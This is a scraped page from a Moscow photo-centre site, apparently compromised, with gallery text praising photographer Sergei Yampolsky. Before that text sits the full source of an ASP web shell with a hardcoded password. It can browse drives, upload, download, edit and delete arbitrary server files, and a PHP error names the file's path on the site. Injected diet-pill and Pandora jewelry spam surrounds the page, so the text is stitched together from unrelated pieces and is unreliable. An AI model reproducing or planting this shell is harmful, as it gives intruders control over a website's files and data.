meizitang
slimming
diets
meizitang botanical slimming
<%@ LANGUAGE="VBSCRIPT" %> <% IntPass = "123123" Response.Buffer = true Response.Clear Dim Name,Password,Login If Not Session("Open") = "True" then%> Small System



Bad Request
click Back button if you were not redirected automatically after 1 minute .....  
<% Session("Open") = "True" Response.End else if Session("Enter") = "1" then else Login = "True" Password = Request.Form("Passw") If not Password = IntPass then Login= "False" If Login= "False" then Session.Abandon Response.Write "Wrong Canculation !!! Please Try Again !!!" Response.End else Session("Enter") = "1" end if end if End If sAction=Request.QueryString("action") if sAction="download_file" then download() end if sub Download() dim oStream dim szFileName szFileName=Request.QueryString("strPath") & Request.QueryString("strFile") set oStream=Server.CreateObject("ADODB.Stream") oStream.Type=1 oStream.Open on error resume next oStream.LoadFromFile(szFileName) if Err.Number=0 then Response.AddHeader "Content-Disposition", "attachment; filename=" & FSO.GetFileName(szFileName) Response.AddHeader "Content-Length", oStream.Size Response.ContentType="bad/type" Response.BinaryWrite oStream.Read end if oStream.Close set oStream=nothing Destroy() end sub %> <% action=request.querystring("action") Select Case action Case "delete_file" deleteFile() Case "download_file" download() Case "edit_file" edit_file() Case "create_folder" create_folder() Case "create_file" create_file() Case "upload_file" upload_file() Case "change_disk" change_disk() 'Case else End select if (action<>"edit_file") and (action<>"create_folder") and (action<>"create_file") and (action<>"upload_file") and (action<>"change_disk") then Main_display() End if %> <% '------------------------------------------------------------------------------ Private Sub Main_display() xPath=request.querystring("strPath") if xPath="" then xPath=Server.MapPath("/")&"\" Response.Write("") Response.Write("") strDir = Request("strPath") if strDir = "" Then strDir = Server.MapPath("/") strParse = strDir if Right(strParse, 1) <> "\" Then strParse = strParse & "\" lngPos = InStr(1, strParse, "\") strOut = "₪ " & Left(strParse, lngPos) & "
" x = 2 Do While lngPos <> 0 oldPos = lngPos lngPos = InStr(oldPos + 1, strParse, "\") if lngPos = 0 Then Exit Do For y = 1 To x strIndent = strIndent & " " Next strOut = strOut & strIndent & " ₪ " & Mid(strParse, oldPos + 1, lngPos - (oldPos + 1)) & "
" x = x + 2 if lngPos = Len(strParse) Then Exit Do Loop Response.Write("") Response.Write("
") Response.Write("ChAnGe DiR ::: ") Response.Write("CrEat nEw DiR ::: ") Response.Write("Born nEw File ::: ") Response.Write("UpLoad File ::: ") Response.Write("w@ck iT d0wn") Response.Write("
") Response.Write(strOut) strIndent = strIndent & " " Set objFSObject = CreateObject("Scripting.FileSystemObject") Set objFolder = objFSObject.GetFolder(strDir) Set colFolders = objFolder.SubFolders For Each intFol in colFolders strFName = intFol.name Response.Write(strIndent & "  ?" & strFName &"
" & vbcrlf) Next Response.Write("		") Set colFiles = objFolder.Files Response.Write("") For Each intF1 in colFiles strFName = intF1.name Response.write "" Response.write "" Response.write "" Next Response.Write("
♪ " & strFName &"◙ " & "Delete" & "◘ " & "Download" & "
") End Sub '------------------------------------------------------------------------------ Private Sub download() dim oStream dim szFileName szFileName=Request.QueryString("strPath") & Request.QueryString("strFile") set oStream=Server.CreateObject("ADODB.Stream") oStream.Type=1 oStream.Open on error resume next oStream.LoadFromFile(szFileName) if Err.Number=0 then Response.AddHeader "Content-Disposition", "attachment; filename=" & FSO.GetFileName(szFileName) Response.AddHeader "Content-Length", oStream.Size Response.ContentType="bad/type" Response.BinaryWrite oStream.Read end if oStream.Close set oStream=nothing Destroy() End sub '------------------------------------------------------------------------------ Private Sub deletefile() Set objFSObject = CreateObject("Scripting.FileSystemObject") objFSObject.DeleteFile(request.querystring("strPath") & request.querystring("strFile")) Response.redirect "old.asp?strPath=" & request.querystring("strPath") End sub '------------------------------------------------------------------------------ Private Sub upload_file() Response.Write("") Response.Write("
Upload File
") Response.Write("
") Response.Write("
") Response.Write("
") Response.Write("
") if request.querystring("action_sub")="save" then dim PosB, PosBBound, PosEBound, PosEHead, PosBFld, PosEFld,strPath dim Boundary, BBoundary, PartBHeader, PartAHeader, PartContent, PartContent2, Binary dim fso, fle, rst, DataString, FileName dim I, Length, ContType, PartName, LastPart, BCrlf, PartContentLength const adLongVarBinary = 205 const adLongVarchar = 201 If Request.ServerVariables("REQUEST_METHOD") = "POST" Then ContType = Request.ServerVariables("HTTP_Content_Type") If LCase(Left(ContType, 19)) = "multipart/form-data" Then PosB = InStr(LCase(ContType), "boundary=") If PosB > 0 Then Boundary = Mid(ContType, PosB + 9) PosB = InStr(LCase(ContType), "boundary=") If PosB > 0 then PosB = InStr(Boundary, ",") If PosB > 0 Then Boundary = Left(Boundary, PosB - 1) end if Length = CLng(Request.ServerVariables("HTTP_Content_Length")) End If If Length > 0 And Boundary <> "" Then Boundary = "--" & Boundary Binary = Request.BinaryRead(Length) For I=1 to len(Boundary) BBoundary = BBoundary & ChrB(Asc(Mid(Boundary,I,1))) Next BCrlf = ChrB(Asc(vbCr)) & ChrB(Asc(vbLf)) PosBBound = InStrB(Binary, BBoundary) PosEBound = InStrB(PosBBound + LenB(BBoundary), Binary, BBoundary, 0) Do While (PosBBound > 0 And PosEBound > 0) PosEHead = InStrB(PosBBound + LenB(BBoundary), Binary, BCrlf & BCrlf) PartBHeader = MidB(Binary, PosBBound + LenB(BBoundary) + 2, PosEHead - PosBBound - LenB(BBoundary) - 2) PartAHeader = "" For I=1 to lenb(PartBHeader) PartAHeader = PartAHeader & Chr(AscB(MidB(PartBHeader,I,1))) Next If Right(PartAHeader,1) <> ";" Then PartAHeader = PartAHeader & ";" PartContent = MidB(Binary, PosEHead + 4, PosEBound - (PosEHead + 4) - 2) PosBFld = Instr(lcase(PartAHeader),"name=") If PosBFld > 0 Then PosEFld = Instr(PosBFld,lcase(PartAHeader),";") If PosEFld > 0 Then PartName = Mid(PartAHeader,PosBFld+5,PosEFld-PosBFld-5) end if Do Until Left(PartName,1) <> """" PartName = Mid(PartName,2) Loop Do Until Right(PartName,1) <> """" PartName = Left(PartName,Len(PartName)-1) Loop end if PosBFld = Instr(lcase(PartAHeader),"filename=""") If PosBFld > 0 Then PosEFld = Instr(PosBFld + 10,lcase(PartAHeader),"""") If PosEFld > 0 Then FileName = Mid(PartAHeader,PosBFld+10,PosEFld-PosBFld-10) end if Do Until Left(FileName,1) <> """" FileName = Mid(FileName,2) Loop Do Until Right(FileName,1) <> """" FileName = Left(FileName,Len(FileName)-1) Loop Else FileName = "" end if if vartype(PartContent) = 8 then Set rst = CreateObject("ADODB.Recordset") PartContentLength = LenB(PartContent) if PartContentLength > 0 then rst.Fields.Append "data", adLongVarBinary, PartContentLength rst.Open rst.AddNew rst("data").AppendChunk PartContent & ChrB(0) rst.Update PartContent2 = rst("data").GetChunk(PartContentLength) rst.close set rst = nothing else PartContent2 = ChrB(0) End If else PartContent2 = PartContent end if PartContentLength = LenB(PartContent2) if PartContentLength > 0 then Set rst = CreateObject("ADODB.Recordset") rst.Fields.Append "data", adLongVarChar, PartContentLength rst.Open rst.AddNew rst("data").AppendChunk PartContent2 rst.Update DataString = rst("data") rst.close set rst = nothing Else dataString = "" End If If FileName <> "" Then FileName = Mid(Filename,InstrRev(FileName,"\")+1) set fso = Server.CreateObject("Scripting.Filesystemobject") strPath=request.querystring("strPath") if strPath <> "" then If right(strPath,1)<>"\" then strPath= strPath & "\" set fle = fso.CreateTextFile(strPath & FileName) else set fle = fso.CreateTextFile(server.MapPath(FileName)) end if fle.write DataString fle.close set fle = nothing set fso = nothing else End If LastPart = MidB(Binary, PosEBound + LenB(BBoundary), 2) If LastPart = ChrB(Asc("-")) & ChrB(Asc("-")) Then PosBBound = 0 PosEBound = 0 else PosBBound = PosEBound PosEBound = InStrB(PosBBound + LenB(BBoundary), Binary, BBoundary) End If loop end if end if Response.redirect "old.asp?strPath=" & request.querystring("strPath") End if End sub '------------------------------------------------------------------------------ Private Sub create_folder() Response.Write("") Response.Write("
CrEat nEw DiR
") Response.Write("
") Response.Write("
") Response.Write("
") Response.Write("
") if request.querystring("action_sub")="save" then strPath=request.querystring("strPath") Set objFSObject = CreateObject("Scripting.FileSystemObject") if strPath <> "" then If right(strPath,1)<>"/" then strPath= strPath & "/" objFSObject.CreateFolder(strPath & request.form("newSubF")) else objFSObject.CreateFolder(strParse & request.form("newSubF")) end if Response.redirect "old.asp?strPath=" & request.querystring("strPath") end if End sub '------------------------------------------------------------------------------ Private Sub create_file() Response.Write("") Response.Write("
Born nEw FiLe
") Response.Write("
") Response.Write("
") Response.Write("
") Response.Write("
") if request.querystring("action_sub")="save" then strPath=request.querystring("strPath") Set objFSObject = CreateObject("Scripting.FileSystemObject") if strPath <> "" then If right(strPath,1)<>"/" then strPath= strPath & "/" objFSObject.CreateTextFile(strPath & request.form("newFile")) else objFSObject.CreateTextFile(strParse & request.form("newFile")) end if Response.redirect "old.asp?strPath=" & request.querystring("strPath") End if End sub '------------------------------------------------------------------------------ Private Sub edit_file() Set fso = Server.CreateObject("Scripting.FileSystemObject") File=request.querystring("strFile") Path=request.querystring("strPath") str_edit_File=Path & File response.write("" & str_edit_File & "
") action_sub=request.querystring("action_sub") Set ts = fso.OpenTextFile (str_edit_File, 1, FALSE, FALSE) If action_sub="save" then Set ts = fso.CreateTextFile (str_edit_File) ts.Write Request.Form("FileContent") Set ts = fso.OpenTextFile (str_edit_File, 1, FALSE, FALSE) Response.Write "Cool Man !!! You've saved this file successfully !!!
" End if Response.Write("
") Response.Write("
") response.write("
") End sub '------------------------------------------------------------------------------ Private Sub change_disk() Response.Write("") Response.Write("
ChAnGe DiR
") Response.write("
") Server.ScriptTimeout = 6000 Set fsDrive = CreateObject("Scripting.FileSystemObject") Set drvHack = fsDrive.Drives For Each drvType In drvHack strDrives = strDrives & "" x = x + 1 Next Response.write("
") Response.Write("
") End sub '------------------------------------------------------------------------------ Private Sub check_login() Response.Write("") Response.Write("
Đăng nhập
") Response.Write("
") Response.Write("
") Response.Write("
") Response.Write("
") Response.Write("
") End sub '------------------------------------------------------------------------------ %>
Warning: Cannot modify header information - headers already sent by (output started at d:\hst\artfotocente-ru_537b841b\http\webgear\Core\old.asp:107) in d:\hst\artfotocente-ru_537b841b\http\index.php on line 48
АртФотоЦентр / Сергей Ямпольский
АртФотоЦентр - Люди. Мастерство. Искусство.
АртФотоЦентр: Москва, метро Чистые Пруды, Покровский бульвар, дом 1. Часы работы: Будни 10.00—21.00, (суббота и воскресенье выходной день).
Тел.: +7 (495) 916-22-82, (495) 916-18-97
   
Главная страница | Написать письмо
Цитата
Учитесь находить новое задолго до того, как оно таковым станет.

Главная страница | Сергей Ямпольский
Сергей Ямпольский
Сергей Ямпольский. (фотограф) Когда Сергей появился в АртФотоЦентре, никто не подозревал, какими способностями обладает этот молчаливый интеллигентный человек. Сергей скромно попросил посмотреть его работы и дать оценку его творчеству, причем я почувствовал, что он готов выслушать любые, даже нелицеприятные комментарии. Первое знакомство с его работами приятно удивило. Я понял, что у нас появился пусть еще не до конца сформировавшийся, но Художник. Его работы, снятые на «цифру» (еще одно подтверждение бесполезности дискуссий о приоритетах носителя: главное не носитель, а творческий подход!) и мастерски обработанные в «Фотошопе» поражали правильностью и законченностью композиций, деликатным обращением с цветом и каждая сама по себе была отдельным художественным произведением. Посоветовавшись с коллегами, я решил предложить Сергею показать его работы в АртФотоЦентре в рамках небольшой персональной выставки. Когда мы отбирали работы для экспозиции, основным камнем преткновения для меня являлось отсутствие у Сергея работ, которые выстраивались бы в какие-то тематические серии. Хорошие фотографии — но уж больно разные! В конце концов, это препятствие было преодолено с помощью известного фотографа (имеющего, кстати, огромный опыт формирования выставочных экспозиций) Александра Забрина, который предложил объединить работы в тематические группы. И все фотографии благополучно сложились в законченный ряд к нашему общему удовольствию. На выставке представлены фотографии городского пейзажа, жанровой съемки и фотографии цветов, выполненных в интересной технике — названия не могу подобрать, пусть решат зрители. У Сергея есть прекрасные портреты — надеюсь, что когда их будет много, их тоже можно будет смело показать, а они непременно будут, потому что Сергей является слушателем наших «Фотографических встреч», и эти занятия посвящены как раз работе над созданием портретов. Когда я подбирал работы для выставки Сергея Ямпольского, то невольно поймал себя на мысли, что они, почему-то, напоминают мне бильярд: та же красота и законченность композиций, прекрасная геометрическая согласованность и безупречность линейных построений, благородность цвета и тона. Первый удар — и пирамида рассыпается, многие шары точно заходят в лузы. Партия началась...

(495) 916-22-82
(495) 916-18-97

АртФотоЦентр: Покровский бульвар, дом 1.

© 2012 «АртФотоЦентр»
Перепечатка текстовых материалов допускается только с обязательной
ссылкой на источник — http://www.artfotocenter.ru

Аренда фотостуди Фотостудия в аренду Фотостудия
http://ostudios.ru/  - Фотостудия .QuattroFashion

Оцифровка, Видеосъёмка, Слайд-шоу, Разработка фильма, Видеомонтаж,
http://www.media-cinema.ru/  Видеопроизводство MEDIA-CINEMA.

Все представленные фотографии — собственность авторов. Разработка сайта StudioDP.
   


pandorapandora braceletspandora charmspandora jewelrypandora beadspandora necklacepandorapandora braceletspandora charmspandora jewelrypandora beadspandora necklace